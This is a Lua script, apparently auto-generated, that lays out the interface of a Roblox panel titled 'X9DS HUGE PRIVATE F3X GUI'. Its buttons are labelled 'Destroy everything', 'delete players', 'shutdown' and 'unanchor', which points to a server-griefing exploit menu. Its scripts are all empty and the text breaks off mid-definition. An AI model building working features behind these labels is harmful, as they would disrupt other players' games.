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-- Instances: 95 | Scripts: 45 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.ScreenGui.ImageLabel
G2L["2"] = Instance.new("ImageLabel", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2"]["Image"] = [[rbxassetid://93092188749697]];
G2L["2"]["Size"] = UDim2.new(0, 533, 0, 757);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Position"] = UDim2.new(0.25624, 0, 0.02216, 0);
-- StarterGui.ScreenGui.ImageLabel.LocalScript
G2L["3"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ScreenGui.ImageLabel.Frame
G2L["4"] = Instance.new("Frame", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 5;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Size"] = UDim2.new(0, 533, 0, 757);
G2L["4"]["Position"] = UDim2.new(-0.00046, 0, -0.00054, 0);
G2L["4"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["4"]["BackgroundTransparency"] = 0.2;
-- StarterGui.ScreenGui.ImageLabel.Frame.TextLabel
G2L["5"] = Instance.new("TextLabel", G2L["4"]);
G2L["5"]["BorderSizePixel"] = 5;
G2L["5"]["TextSize"] = 35;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Size"] = UDim2.new(0, 386, 0, 58);
G2L["5"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["5"]["Text"] = [[X9DS HUGE PRIVATE F3X GUI]];
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame
G2L["6"] = Instance.new("ScrollingFrame", G2L["4"]);
G2L["6"]["Active"] = true;
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["Size"] = UDim2.new(0, 527, 0, 711);
G2L["6"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Position"] = UDim2.new(0, 0, 0.08454, 0);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["BackgroundTransparency"] = 1;
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["6"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 5;
G2L["7"]["TextSize"] = 36;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["7"]["Text"] = [[F3X]];
G2L["7"]["Position"] = UDim2.new(0.02635, 0, 0.00667, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["6"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["BorderSizePixel"] = 5;
G2L["9"]["TextSize"] = 36;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["9"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["9"]["Text"] = [[theme]];
G2L["9"]["Position"] = UDim2.new(0.70376, 0, 0.00667, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["6"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 5;
G2L["b"]["TextSize"] = 36;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["b"]["Text"] = [[HINT]];
G2L["b"]["Position"] = UDim2.new(0.02635, 0, 0.04828, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["6"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 5;
G2L["d"]["TextSize"] = 36;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["d"]["Text"] = [[Message]];
G2L["d"]["Position"] = UDim2.new(0.31098, 0, 0.04828, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["6"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["BorderSizePixel"] = 5;
G2L["f"]["TextSize"] = 36;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["f"]["Text"] = [[teams]];
G2L["f"]["Position"] = UDim2.new(0.59561, 0, 0.04828, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["6"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 5;
G2L["11"]["TextSize"] = 36;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["11"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["11"]["Text"] = [[Decal 1]];
G2L["11"]["Position"] = UDim2.new(0.02635, 0, 0.08725, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["6"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 5;
G2L["13"]["TextSize"] = 36;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["13"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["13"]["Text"] = [[Decal 2]];
G2L["13"]["Position"] = UDim2.new(0.31098, 0, 0.08725, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["6"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["BorderSizePixel"] = 5;
G2L["15"]["TextSize"] = 36;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["15"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["15"]["Text"] = [[Sky 1]];
G2L["15"]["Position"] = UDim2.new(0.59561, 0, 0.08725, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["6"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 5;
G2L["17"]["TextSize"] = 36;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["17"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["17"]["Text"] = [[Sky 2]];
G2L["17"]["Position"] = UDim2.new(0.02635, 0, 0.12688, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["6"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 5;
G2L["19"]["TextSize"] = 36;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["19"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["19"]["Text"] = [[Trippy Sky]];
G2L["19"]["Position"] = UDim2.new(0.31098, 0, 0.12688, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["6"]);
G2L["1b"]["TextWrapped"] = true;
G2L["1b"]["BorderSizePixel"] = 5;
G2L["1b"]["TextSize"] = 36;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1b"]["Text"] = [[Realm]];
G2L["1b"]["Position"] = UDim2.new(0.59561, 0, 0.12688, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1d"] = Instance.new("TextButton", G2L["6"]);
G2L["1d"]["TextWrapped"] = true;
G2L["1d"]["BorderSizePixel"] = 5;
G2L["1d"]["TextSize"] = 36;
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1d"]["Text"] = [[toadroast]];
G2L["1d"]["Position"] = UDim2.new(0.02635, 0, 0.16519, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["1e"] = Instance.new("LocalScript", G2L["1d"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["6"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 5;
G2L["1f"]["TextSize"] = 36;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["Size"] = UDim2.new(0, 282, 0, 33);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["1f"]["Text"] = [[Destroy everything]];
G2L["1f"]["Position"] = UDim2.new(0.31098, 0, 0.16519, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["6"]);
G2L["21"]["TextWrapped"] = true;
G2L["21"]["BorderSizePixel"] = 5;
G2L["21"]["TextSize"] = 36;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["Size"] = UDim2.new(0, 201, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["21"]["Text"] = [[gravity hammer]];
G2L["21"]["Position"] = UDim2.new(0.02635, 0, 0.20416, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["6"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["BorderSizePixel"] = 5;
G2L["23"]["TextSize"] = 36;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["Size"] = UDim2.new(0, 77, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["23"]["Text"] = [[666]];
G2L["23"]["Position"] = UDim2.new(0.4495, 0, 0.20416, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["25"] = Instance.new("TextButton", G2L["6"]);
G2L["25"]["TextWrapped"] = true;
G2L["25"]["BorderSizePixel"] = 5;
G2L["25"]["TextSize"] = 36;
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["25"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["25"]["Text"] = [[particles]];
G2L["25"]["Position"] = UDim2.new(0.62786, 0, 0.20416, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["25"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["27"] = Instance.new("TextButton", G2L["6"]);
G2L["27"]["TextWrapped"] = true;
G2L["27"]["BorderSizePixel"] = 5;
G2L["27"]["TextSize"] = 36;
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["27"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["27"]["Text"] = [[grandsola]];
G2L["27"]["Position"] = UDim2.new(0.02635, 0, 0.24181, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["28"] = Instance.new("LocalScript", G2L["27"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["29"] = Instance.new("TextButton", G2L["6"]);
G2L["29"]["TextWrapped"] = true;
G2L["29"]["BorderSizePixel"] = 5;
G2L["29"]["TextSize"] = 36;
G2L["29"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["29"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["29"]["Text"] = [[sonic exe]];
G2L["29"]["Position"] = UDim2.new(0.31098, 0, 0.24181, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["29"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2b"] = Instance.new("TextButton", G2L["6"]);
G2L["2b"]["TextWrapped"] = true;
G2L["2b"]["BorderSizePixel"] = 5;
G2L["2b"]["TextSize"] = 36;
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["Size"] = UDim2.new(0, 136, 0, 33);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2b"]["Text"] = [[mosque]];
G2L["2b"]["Position"] = UDim2.new(0.59561, 0, 0.24181, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2b"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["6"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["BorderSizePixel"] = 5;
G2L["2d"]["TextSize"] = 36;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2d"]["Text"] = [[mystic]];
G2L["2d"]["Position"] = UDim2.new(0.02635, 0, 0.27945, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["6"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["BorderSizePixel"] = 5;
G2L["2f"]["TextSize"] = 36;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["2f"]["Text"] = [[ball rain]];
G2L["2f"]["Position"] = UDim2.new(0.28441, 0, 0.27945, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["31"] = Instance.new("TextButton", G2L["6"]);
G2L["31"]["TextWrapped"] = true;
G2L["31"]["BorderSizePixel"] = 5;
G2L["31"]["TextSize"] = 36;
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["31"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["31"]["Text"] = [[john doe]];
G2L["31"]["Position"] = UDim2.new(0.52688, 0, 0.27966, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["33"] = Instance.new("TextButton", G2L["6"]);
G2L["33"]["TextWrapped"] = true;
G2L["33"]["BorderSizePixel"] = 5;
G2L["33"]["TextSize"] = 36;
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["Size"] = UDim2.new(0, 223, 0, 33);
G2L["33"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["33"]["Text"] = [[witch hunt others]];
G2L["33"]["Position"] = UDim2.new(0.02594, 0, 0.31533, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["35"] = Instance.new("TextButton", G2L["6"]);
G2L["35"]["TextWrapped"] = true;
G2L["35"]["BorderSizePixel"] = 5;
G2L["35"]["TextSize"] = 36;
G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["Size"] = UDim2.new(0, 211, 0, 33);
G2L["35"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["35"]["Text"] = [[delete players]];
G2L["35"]["Position"] = UDim2.new(0.48514, 0, 0.31533, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["36"] = Instance.new("LocalScript", G2L["35"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["37"] = Instance.new("TextButton", G2L["6"]);
G2L["37"]["TextWrapped"] = true;
G2L["37"]["BorderSizePixel"] = 5;
G2L["37"]["TextSize"] = 36;
G2L["37"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["37"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["37"]["Size"] = UDim2.new(0, 126, 0, 33);
G2L["37"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["37"]["Text"] = [[unanchor]];
G2L["37"]["Position"] = UDim2.new(0.02594, 0, 0.34769, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["38"] = Instance.new("LocalScript", G2L["37"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["39"] = Instance.new("TextButton", G2L["6"]);
G2L["39"]["TextWrapped"] = true;
G2L["39"]["BorderSizePixel"] = 5;
G2L["39"]["TextSize"] = 36;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["39"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["39"]["Text"] = [[shutdown]];
G2L["39"]["Position"] = UDim2.new(0.29959, 0, 0.34749, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["6"]);
G2L["3b"]["TextWrapped"] = true;
G2L["3b"]["BorderSizePixel"] = 5;
G2L["3b"]["TextSize"] = 36;
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["Size"] = UDim2.new(0, 132, 0, 33);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3b"]["Text"] = [[shedletsky]];
G2L["3b"]["Position"] = UDim2.new(0.58422, 0, 0.34749, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3d"] = Instance.new("TextButton", G2L["6"]);
G2L["3d"]["TextWrapped"] = true;
G2L["3d"]["BorderSizePixel"] = 5;
G2L["3d"]["TextSize"] = 36;
G2L["3d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3d"]["Size"] = UDim2.new(0, 177, 0, 33);
G2L["3d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255);
G2L["3d"]["Text"] = [[char all x9d]];
G2L["3d"]["Position"] = UDim2.new(0.02445, 0, 0.38183, 0);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
G2L["3e"] = Instance.new("LocalScript", G2L["3d"]);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton
G2L["3f"] = Instance.new("TextButton", G2L["6"]);
G2L["3f"]["TextWrapped"] = true;
